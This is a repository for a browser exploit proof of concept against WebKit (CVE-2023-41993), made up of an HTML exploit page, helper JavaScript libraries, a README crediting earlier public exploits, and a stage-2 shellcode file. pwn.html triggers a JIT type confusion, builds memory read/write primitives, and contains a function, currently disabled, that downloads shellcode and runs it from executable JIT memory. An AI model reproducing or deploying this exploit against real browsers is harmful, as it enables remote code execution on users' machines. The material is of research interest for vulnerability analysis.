├── .gitignore
├── package.json
├── stage2_macOS.bin
├── README.md
├── util.js
├── int64.js
└── pwn.html


/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules


--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 |   "dependencies": {
3 |     "http-serve": "^1.0.1"
4 |   }
5 | }
6 | 


--------------------------------------------------------------------------------
/stage2_macOS.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hrtowii/cve-2023-41993-test/HEAD/stage2_macOS.bin


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # original poc from po6ix
2 | ## post exploitation i copied from nikiasb's and Linus Henze's regexp exploits, 5aelo's Phrack paper/Pwn2Own 2018 exploit chain, LiveOverflow blog/youtube series
3 | 


--------------------------------------------------------------------------------
/util.js:
--------------------------------------------------------------------------------
 1 | //
 2 | // Utility functions.
 3 | //
 4 | // Copyright (c) 2016 Samuel Groß
 5 | //
 6 | 
 7 | function log(msg) {
 8 |     document.body.innerHTML += msg += "<br><br>";
 9 | }
10 | 
11 | // Return the hexadecimal representation of the given byte.
12 | function hex(b) {
13 |     return ('0' + b.toString(16)).substr(-2);
14 | }
15 | 
16 | // Return the hexadecimal representation of the given byte array.
17 | function hexlify(bytes) {
18 |     var res = [];
19 |     for (var i = 0; i < bytes.length; i++)
20 |         res.push(hex(bytes[i]));
21 | 
22 |     return res.join('');
23 | }
24 | 
25 | // Return the binary data represented by the given hexdecimal string.
26 | function unhexlify(hexstr) {
27 |     if (hexstr.length % 2 == 1)
28 |         throw new TypeError("Invalid hex string");
29 | 
30 |     var bytes = new Uint8Array(hexstr.length / 2);
31 |     for (var i = 0; i < hexstr.length; i += 2)
32 |         bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
33 | 
34 |     return bytes;
35 | }
36 | 
37 | function hexdump(data) {
38 |     if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
39 |         data = Array.from(data);
40 | 
41 |     var lines = [];
42 |     for (var i = 0; i < data.length; i += 16) {
43 |         var chunk = data.slice(i, i+16);
44 |         var parts = chunk.map(hex);
45 |         if (parts.length > 8)
46 |             parts.splice(8, 0, ' ');
47 |         lines.push(parts.join(' '));
48 |     }
49 | 
50 |     return lines.join('\n');
51 | }
52 | 
53 | // Simplified version of the similarly named python module.
54 | var Struct = (function() {
55 |     // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
56 |     var buffer      = new ArrayBuffer(8);
57 |     var byteView    = new Uint8Array(buffer);
58 |     var uint32View  = new Uint32Array(buffer);
59 |     var float64View = new Float64Array(buffer);
60 | 
61 |     return {
62 |         pack: function(type, value) {
63 |             var view = type;        // See below
64 |             view[0] = value;
65 |             return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
66 |         },
67 | 
68 |         unpack: function(type, bytes) {
69 |             if (bytes.length !== type.BYTES_PER_ELEMENT)
70 |                 throw Error("Invalid bytearray");
71 | 
72 |             var view = type;        // See below
73 |             byteView.set(bytes);
74 |             return view[0];
75 |         },
76 | 
77 |         // Available types.
78 |         int8:    byteView,
79 |         int32:   uint32View,
80 |         float64: float64View
81 |     };
82 | })();


--------------------------------------------------------------------------------
/int64.js:
--------------------------------------------------------------------------------
  1 | //
  2 | // Tiny module that provides big (64bit) integers.
  3 | //
  4 | // Copyright (c) 2016 Samuel Groß
  5 | //
  6 | // Requires utils.js
  7 | //
  8 | 
  9 | // Datatype to represent 64-bit integers.
 10 | //
 11 | // Internally, the integer is stored as a Uint8Array in little endian byte order.
 12 | function Int64(v) {
 13 |     // The underlying byte array.
 14 |     var bytes = new Uint8Array(8);
 15 | 
 16 |     switch (typeof v) {
 17 |         case 'number':
 18 |             v = '0x' + Math.floor(v).toString(16);
 19 |         case 'string':
 20 |             if (v.startsWith('0x'))
 21 |                 v = v.substr(2);
 22 |             if (v.length % 2 == 1)
 23 |                 v = '0' + v;
 24 | 
 25 |             var bigEndian = unhexlify(v, 8);
 26 |             bytes.set(Array.from(bigEndian).reverse());
 27 |             break;
 28 |         case 'object':
 29 |             if (v instanceof Int64) {
 30 |                 bytes.set(v.bytes());
 31 |             } else {
 32 |                 if (v.length != 8)
 33 |                     throw TypeError("Array must have excactly 8 elements.");
 34 |                 bytes.set(v);
 35 |             }
 36 |             break;
 37 |         case 'undefined':
 38 |             break;
 39 |         default:
 40 |             throw TypeError("Int64 constructor requires an argument.");
 41 |     }
 42 | 
 43 |     // Return a double whith the same underlying bit representation.
 44 |     this.asDouble = function() {
 45 |         // Check for NaN
 46 |         if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) {
 47 |             log("Int can't be represented by a double");
 48 |             throw new RangeError("Integer can not be represented by a double");
 49 |         }
 50 |         return Struct.unpack(Struct.float64, bytes);
 51 |     };
 52 | 
 53 |     // Return a javascript value with the same underlying bit representation.
 54 |     // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
 55 |     // due to double conversion constraints.
 56 |     this.asJSValue = function() {
 57 |         if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) {
 58 |             throw new RangeError("Integer can not be represented by a JSValue");
 59 |         }
 60 |         // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
 61 |         this.assignSub(this, 0x1000000000000);
 62 |         var res = Struct.unpack(Struct.float64, bytes);
 63 |         this.assignAdd(this, 0x1000000000000);
 64 | 
 65 |         return res;
 66 |     };
 67 | 
 68 |     // Return the underlying bytes of this number as array.
 69 |     this.bytes = function() {
 70 |         return Array.from(bytes);
 71 |     };
 72 | 
 73 |     // Return the byte at the given index.
 74 |     this.byteAt = function(i) {
 75 |         return bytes[i];
 76 |     };
 77 | 
 78 |     // Return the value of this number as unsigned hex string.
 79 |     this.toString = function() {
 80 |         return '0x' + hexlify(Array.from(bytes).reverse());
 81 |     };
 82 | 
 83 |     // Basic arithmetic.
 84 |     // These functions assign the result of the computation to their 'this' object.
 85 | 
 86 |     // Decorator for Int64 instance operations. Takes care
 87 |     // of converting arguments to Int64 instances if required.
 88 |     function operation(f, nargs) {
 89 |         return function() {
 90 |             if (arguments.length != nargs)
 91 |                 throw Error("Not enough arguments for function " + f.name);
 92 |             for (var i = 0; i < arguments.length; i++)
 93 |                 if (!(arguments[i] instanceof Int64))
 94 |                     arguments[i] = new Int64(arguments[i]);
 95 |             return f.apply(this, arguments);
 96 |         };
 97 |     }
 98 | 
 99 |     // this = -n (two's complement)
100 |     this.assignNeg = operation(function neg(n) {
101 |         for (var i = 0; i < 8; i++)
102 |             bytes[i] = ~n.byteAt(i);
103 | 
104 |         return this.assignAdd(this, Int64.One);
105 |     }, 1);
106 | 
107 |     // this = a + b
108 |     this.assignAdd = operation(function add(a, b) {
109 |         var carry = 0;
110 |         for (var i = 0; i < 8; i++) {
111 |             var cur = a.byteAt(i) + b.byteAt(i) + carry;
112 |             carry = cur > 0xff | 0;
113 |             bytes[i] = cur;
114 |         }
115 |         return this;
116 |     }, 2);
117 | 
118 |     // this = a - b
119 |     this.assignSub = operation(function sub(a, b) {
120 |         var carry = 0;
121 |         for (var i = 0; i < 8; i++) {
122 |             var cur = a.byteAt(i) - b.byteAt(i) - carry;
123 |             carry = cur < 0 | 0;
124 |             bytes[i] = cur;
125 |         }
126 |         return this;
127 |     }, 2);
128 | 
129 |     // this = a ^ b
130 |     this.assignXor = operation(function xor(a, b) {
131 |         for (var i = 0; i < 8; i++) {
132 |             bytes[i] = a.byteAt(i) ^ b.byteAt(i);
133 |         }
134 |         return this;
135 |     }, 2);
136 |     
137 |     // this = a & b
138 |     this.assignAnd = operation(function and(a, b) {
139 |         for (var i = 0; i < 8; i++) {
140 |             bytes[i] = a.byteAt(i) & b.byteAt(i);
141 |         }
142 |         return this;
143 |     }, 2);
144 |     
145 |     // this = a << b
146 |     this.assignShiftLeft = operation(function shiftLeft(a, b) {
147 |         for (var i = 0; i < 8; i++) {
148 |             if (i < b) {
149 |                 bytes[i] = 0;
150 |             } else {
151 |                 bytes[i] = a.byteAt(Sub(i, b).asInt32());
152 |             }
153 |         }
154 |         return this;
155 |     }, 2);
156 |     
157 |     // this = a >> b
158 |     this.assignShiftRight = operation(function shiftRight(a, b) {
159 |         for (var i = 0; i < 8; i++) {
160 |             if (i < (8 - b)) {
161 |                 bytes[i] = a.byteAt(Add(i, b).asInt32());
162 |             } else {
163 |                 bytes[i] = 0;
164 |             }
165 |         }
166 |         return this;
167 |     }, 2);
168 | }
169 | 
170 | // Constructs a new Int64 instance with the same bit representation as the provided double.
171 | Int64.fromDouble = function(d) {
172 |     var bytes = Struct.pack(Struct.float64, d);
173 |     return new Int64(bytes);
174 | };
175 | 
176 | // Convenience functions. These allocate a new Int64 to hold the result.
177 | 
178 | // Return -n (two's complement)
179 | function Neg(n) {
180 |     return (new Int64()).assignNeg(n);
181 | }
182 | 
183 | // Return a + b
184 | function Add(a, b) {
185 |     return (new Int64()).assignAdd(a, b);
186 | }
187 | 
188 | // Return a - b
189 | function Sub(a, b) {
190 |     return (new Int64()).assignSub(a, b);
191 | }
192 | 
193 | // Return a ^ b
194 | function Xor(a, b) {
195 |     return (new Int64()).assignXor(a, b);
196 | }
197 | 
198 | // Return a & b
199 | function And(a, b) {
200 |     return (new Int64()).assignAnd(a, b);
201 | }
202 | 
203 | // Return a << b
204 | function ShiftLeft(a, b) {
205 |     return (new Int64()).assignShiftLeft(a, b);
206 | }
207 | 
208 | // Return a >> b
209 | function ShiftRight(a, b) {
210 |     return (new Int64()).assignShiftRight(a, b);
211 | }
212 | 
213 | // Some commonly used numbers.
214 | Int64.Zero = new Int64(0);
215 | Int64.One = new Int64(1);
216 | 
217 | // That's all the arithmetic we need for exploiting WebKit.. :)


--------------------------------------------------------------------------------
/pwn.html:
--------------------------------------------------------------------------------
  1 | <!DOCTYPE html>
  2 | <html>
  3 |     <head>
  4 |         <style>
  5 |             body {
  6 |                 font-family: Courier, monospace;
  7 |                 font-size: 4rem;
  8 |             }
  9 |         </style>
 10 |     </head>
 11 | <body>
 12 | <script src="util.js"></script>
 13 | <script src="int64.js"></script>
 14 | <script>
 15 | /*
 16 | author: @po6ix
 17 | commit: https://github.com/WebKit/WebKit/commit/08d5d17c766ffc7ca6a7c833c5720eb71b427784
 18 | advisory: https://support.apple.com/en-us/HT213926
 19 | */
 20 | 
 21 | let boxed_arr = new Function();
 22 | boxed_arr.p1 = 1.1;
 23 | boxed_arr[0] = {};
 24 | 
 25 | let getter = new Function();
 26 | getter.p1 = 1.1;
 27 | getter[0] = 1.1;
 28 | 
 29 | let shape = {};
 30 | for (let i = 0; i < 14; ++i) {
 31 |     shape['p'+i] = i;
 32 | }
 33 | 
 34 | let shapes = [];
 35 | for (let i = 0; i < 100; ++i) {
 36 |     shapes.push({
 37 |         ...shape,
 38 |         ['z'+i]: 0x1337
 39 |     });
 40 | }
 41 | 
 42 | function trigger(type) {
 43 |     let object_a = {};
 44 |     object_a.foo = 1;
 45 |     object_a.p1 = 1.1;
 46 | 
 47 |     let object_b = {};
 48 |     object_b.__defineGetter__('p1', getter);
 49 |     object_b.foo = 1;
 50 | 
 51 |     function get_getterSetter(type) {
 52 |         let o, retval;
 53 | 
 54 |         if (type == 0) o = object_a;
 55 |         else o = object_b;
 56 | 
 57 |         for (let i = 0; i < 2; ++i) {
 58 |             if (type == 0) retval = o.foo;
 59 |             else retval = o.foo;
 60 |         }
 61 |         return retval;
 62 |     }
 63 |     for (let i = 0; i < 1e6; ++i) {
 64 |         get_getterSetter(i % 2);
 65 |     }
 66 |     for (let i = 0; i < 1e6; ++i) {
 67 |         get_getterSetter(i % 2);
 68 |     }
 69 |     for (let i = 0; i < 1e6; ++i) {
 70 |         get_getterSetter(i % 2);
 71 |     }
 72 |     for (let i = 0; i < 1e6; ++i) {
 73 |         get_getterSetter(i % 2);
 74 |     }
 75 |     for (let i = 0; i < 1e6; ++i) {
 76 |         get_getterSetter(i % 2);
 77 |     }
 78 |     for (let i = 0; i < 1e6; ++i) {
 79 |         get_getterSetter(i % 2);
 80 |     }
 81 |     for (let i = 0; i < 1e6; ++i) {
 82 |         get_getterSetter(i % 2);
 83 |     }
 84 | 
 85 |     return [getter, get_getterSetter(1)];
 86 | }
 87 | 
 88 | 
 89 | (function pwn() {
 90 |     let [getter, getterSetter] = trigger();
 91 |     let success = false;
 92 |     try {
 93 |         getterSetter.toString();
 94 |     } catch(e) {
 95 |         // it should fail to call toString
 96 |         success = true;
 97 |     }
 98 |     if (!success) {
 99 |         alert('failed to get getterSetter');
100 |         return;
101 |     }
102 | 
103 |     let symbolObject = Object(getterSetter);
104 | 
105 |     let ref_arr = [];
106 |     for (let i = 0; i < 87; ++i) {
107 |         ref_arr.push(symbolObject.description);
108 |     }
109 | 
110 |     getter.p13 = 1.1; // change the length of boxed_arr
111 |     let unboxed_arr = getter;
112 |     
113 |     function addrof(o) {
114 |         boxed_arr[8] = o;
115 |         // return unboxed_arr[0];
116 |         return Int64.fromDouble(unboxed_arr[0]);
117 |     }
118 | 
119 |     function fakeobj(addr) {
120 |         unboxed_arr[0] = addr.asDouble();
121 |         // unboxed_arr[0] = addr;
122 |         return boxed_arr[8];
123 |     }
124 |     
125 |     function lol() {
126 |         var unboxed_size = 100;
127 |         var convert = new ArrayBuffer(0x10);
128 |         var u32 = new Uint32Array(convert);
129 |         var u8 = new Uint8Array(convert);
130 |         var f64 = new Float64Array(convert);
131 |         var BASE32 = 0x100000000;
132 | 
133 |         function i2f(i) {
134 |             u32[0] = i%BASE32;
135 |             u32[1] = i/BASE32;
136 |             return f64[0];
137 |         }
138 |         
139 |         function f2i(f) {
140 |             f64[0] = f;
141 |             return u32[0] + BASE32*u32[1];
142 |         }
143 | 
144 |         function hex(x) {
145 |             if (x < 0)
146 |                 return `-${hex(-x)}`
147 |             return `0x${x.toString(16)}`
148 |         }
149 | 
150 |         function fail(x) {
151 |             log('FAIL ' + x)
152 |             throw null
153 |         }
154 | 
155 |         var putcharBuffer = "";
156 |         putchar = function (str) {
157 |             if (str[0] == "\n") {
158 |                 log(putcharBuffer);
159 |                 putcharBuffer = "";
160 |             } else {
161 |                 putcharBuffer += str;
162 |             }
163 |         }
164 |         log("stage 2");
165 |         var structure_spray = []
166 |         for (var i = 0; i < 1000; ++i) {
167 |             var ary = [13.37];
168 |             ary.prop = 13.37;
169 |             ary['p'+i] = 13.37;
170 |             structure_spray.push(ary);
171 |         }
172 | 
173 |         var victim = structure_spray[510]
174 |         // Gigacage bypass: Forge a JSObject which has its butterfly pointing
175 |         // to victim
176 |         u32[0] = 0x200;
177 |         u32[1] = 0x01082007 - 0x10000;
178 |         var flags_double = f64[0];
179 | 
180 |         u32[1] = 0x01082009 - 0x10000;
181 |         var flags_contiguous = f64[0];
182 | 
183 |         var array_spray = [];
184 |         for (var i = 0; i < 1000; ++i) {
185 |             array_spray[i] = [13.37+i, 13.37];
186 |         }
187 |         var unboxed = eval(`[${'13.37,'.repeat(unboxed_size)}]`);
188 |         unboxed[0] = 4.2; // no CopyOnWrite
189 | 
190 |         var boxed = [{}];
191 |         // log(`unboxed @ ${addrof(unboxed)}`);
192 |         // log(`boxed @ ${addrof(boxed)}`);
193 | 
194 |         var outer = {
195 |             header: flags_contiguous, // cell
196 |             butterfly: victim, // butterfly
197 |         };
198 | 
199 |         // log(`outer @ ${addrof(outer)}`);
200 | 
201 |         var hax = fakeobj(Add(addrof(outer), 16));
202 | 
203 |         hax[1] = unboxed;
204 |         // log(victim[1]);
205 |         var shared_butterfly = f2i(victim[1]);
206 |         log(`shared butterfly @ ${hex(shared_butterfly)}`);
207 |         hax[1] = boxed;
208 |         victim[1] = i2f(shared_butterfly);
209 | 
210 |         outer.header = flags_double;
211 | 
212 |         var stage2 = {
213 |             addrof: function(victim) {
214 |                 boxed[0] = victim;
215 |                 return f2i(unboxed[0]);
216 |             },
217 | 
218 |             fakeobj: function(addr) {
219 |                 unboxed[0] = i2f(addr);
220 |                 return boxed[0];
221 |             },
222 | 
223 |             write64: function(where, what) {
224 |                 log(`writing ${hex(what)} at ${hex(where)}`);
225 |                 hax[1] = i2f(where + 0x10);
226 |                 victim.prop = this.fakeobj(what);
227 |             },
228 | 
229 |             read64: function(where) {
230 |                 log(`reading at ${hex(where)}`);
231 |                 hax[1] = i2f(where + 0x10);
232 |                 log("read: " + hex(this.addrof(victim.prop)));
233 |                 return this.addrof(victim.prop);
234 |             },
235 | 
236 |             test: function() {
237 |                 var addr = this.addrof({a: 0x1337});
238 |                 var x = this.fakeobj(addr);
239 |                 if (x.a != 0x1337) {
240 |                     fail('stage2 addrof/fakeobj does not work');
241 |                 }
242 | 
243 |                 var val = 0xC0035FD6;
244 |                 this.write64(shared_butterfly + 8, 0xC0035FD6);
245 |                 if (i2f(val) != unboxed[1]) {
246 |                     fail('stage2 write does not work');
247 |                 }
248 | 
249 |                 if (this.read64(shared_butterfly + 8) != 0xC0035FD6) {
250 |                     fail('stage2 read does not work');
251 |                 }
252 |             },
253 | 
254 |             clear: function() {
255 |                 outer = null;
256 |                 hax = null;
257 |                 for (var i = 0; i < unboxed_size; ++i)
258 |                     boxed[i] = null;
259 |                 boxed = null
260 |                 unboxed = null
261 |             },
262 |         };
263 | 
264 |         stage2.test();
265 |         log("stage 2 success. got arbitrary read/write");
266 |         return stage2;
267 |     }
268 | 
269 |     function lol2() {
270 |         function stripPACifRequired(addr) { // ignore macOS sorry
271 |             return And(addr, new Int64('0xFFFFFFFF8'));
272 |         }
273 |         
274 |         function makeJITCompiledFunction() {
275 |             // Some code to avoid inlining...
276 |             function target(num) {
277 |                 for (var i = 2; i < num; i++) {
278 |                     if (num % i === 0) {
279 |                         return false;
280 |                     }
281 |                 }
282 |                 return true;
283 |             }
284 |         
285 |             // Force JIT compilation.
286 |             for (var i = 0; i < 1000; i++) {
287 |                 target(i);
288 |             }
289 |             for (var i = 0; i < 1000; i++) {
290 |                 target(i);
291 |             }
292 |             for (var i = 0; i < 1000; i++) {
293 |                 target(i);
294 |             }
295 |             return target;
296 |         }
297 |         
298 |         function getJITFunction(rwx, silent) {
299 |             if (silent == undefined) {
300 |                 silent = false;
301 |             }
302 |             
303 |             if (silent) {
304 |                 log = function (str) {};
305 |             }
306 |             
307 |             var shellcodeFunc = makeJITCompiledFunction();
308 |             
309 |             var shellcodeFuncAddr = addrof(shellcodeFunc);
310 |             log("[+] Shellcode function @ " + shellcodeFuncAddr);
311 |             
312 |             var executableAddr = stage2.read64(shellcodeFuncAddr, 3);
313 |             log("[+] Executable instance @ " + executableAddr);
314 |             
315 |             var jitCodeAddr = stage2.read64(executableAddr, 3);
316 |             log("[+] JITCode instance @ " + jitCodeAddr);
317 |             
318 |             var rwxMemAddr = stage2.read64(jitCodeAddr, 4);
319 |             rwxMemAddr = stripPACifRequired(rwxMemAddr);
320 |             log("[+] " + (rwx === true ? "RWX" : "RX") + " memory @ " + rwxMemAddr);
321 |             
322 |             return [shellcodeFunc, rwxMemAddr];
323 |         }
324 |         function fetchAndExec(file, rwx, func) {
325 |             log("[*] Downloading stage 2...");
326 |             fetch(file).then(function (response) {
327 |                 if (!response.ok) {
328 |                     log("[!] Failed to download stage 2!");
329 |                     throw "Failed to download stage 2!";
330 |                 }
331 |                 return response.arrayBuffer();
332 |             }).then(function (buffer) {
333 |                 log("[+] Downloaded");
334 |                 var funcAddr = getJITFunction(rwx);
335 |                 func(new Uint8Array(buffer), funcAddr[0], funcAddr[1]);
336 |                 log("[!] Launching stage 2");
337 |             
338 |                 // We want to log stuff. Therefore, the shellcode patches itself and then regulary returns to log characters. Yes, this is a creative hack.
339 |                 var result = 0;
340 |                 while (true) {
341 |                     var value = funcAddr[0]();
342 |                     if (value < 1) {
343 |                         result = value;
344 |                         break;
345 |                     }
346 |                     
347 |                     putchar(String.fromCharCode(value));
348 |                 }
349 |                 
350 |                 log("[+] Stage 2 result: " + result.toString());
351 |                 log("[+] I'm done here, continuing WebContent like nothing happened ;)");
352 |             }).catch(function (e) {
353 |                 alert("[-] Exception caught: " + e);
354 |             });
355 |         }
356 |         fetchAndExec("./stage2_macOS.bin", true, function (buffer, shellcodeFunc, rwxMemAddr) {
357 |             log("[+] Copying shellcode to memory...");
358 |             // stage2.copyto(rwxMemAddr, 0, buffer, buffer.byteLength);
359 |             stage2.write64(rwxMemAddr, buffer);
360 |         });
361 |     }
362 |         log(`stage 1 success. got fakeobj and addrof primitives`);
363 | 
364 |         // testobject = {};
365 |         // testobject.a = 1;
366 |         // testobject.b = 2;
367 |         // testobject.c = 3;
368 |         // log("testobject addr: " + addrof(testobject).toString() + "<br>testobject properties: ");
369 |         // Object.values(testobject).forEach((prop)=> log(prop));
370 |         // testobjectfake = fakeobj(addrof(testobject));
371 |         // testobjectfake.b = "we out here";
372 |         // testobjectfake.c = 1337;
373 |         // log("<br>fake object addr: " + addrof(testobjectfake).toString() + "<br>fakeobject edited testobject properties:");
374 |         // Object.values(testobject).forEach((prop)=> log(prop));
375 |         lol();
376 |         // lol2();
377 |         stage2.clear();
378 |         stage2 = null;
379 |         trigger = null;
380 |         boxed_arr = null;
381 |         unboxed_arr = null;
382 |         getter = null;
383 |         gc();
384 | })();
385 | </script>
386 | 
387 | </body>
388 | </html>
389 | 


--------------------------------------------------------------------------------